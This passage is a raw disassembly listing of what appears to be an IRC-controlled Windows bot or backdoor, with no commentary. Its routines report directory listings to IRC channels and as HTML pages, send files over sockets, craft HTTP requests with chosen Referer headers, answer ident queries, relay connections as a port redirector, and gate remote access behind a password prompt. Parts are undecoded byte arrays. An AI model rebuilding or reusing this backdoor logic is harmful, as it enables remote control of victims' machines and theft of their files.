COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 25C0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2750000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2740000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2730803h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 2670000h loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2750000h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] call near ptr 2730000h nop cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 26F0953h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2720C5Fh cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A30o ; ___:00437A44o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2760000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 26F0000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call near ptr 26518CEh nop loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F94 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F50 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_433FFC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi ; --------------------------------------------------------------------------- db 0E8h, 0BCh, 0FBh dd 8B900225h, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 1E89032h, 0EB0225FBh, 4BFE8EDh dd 50900226h, 433FC068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_434084 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2670096h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 2670000h jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 26709C5h push eax push offset unk_434044 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi call near ptr 26D0000h nop pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2BF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_43415C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi call near ptr 26D0000h nop loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi call near ptr 26D0000h nop loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434120 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 26709C5h push eax push offset unk_4340F4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx call near ptr 26D0000h nop loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340C8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434188 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341B4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Bh, 410CCBh, 0F54EE890h, 0C0850235h, 0E8902975h dd 225FF09h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 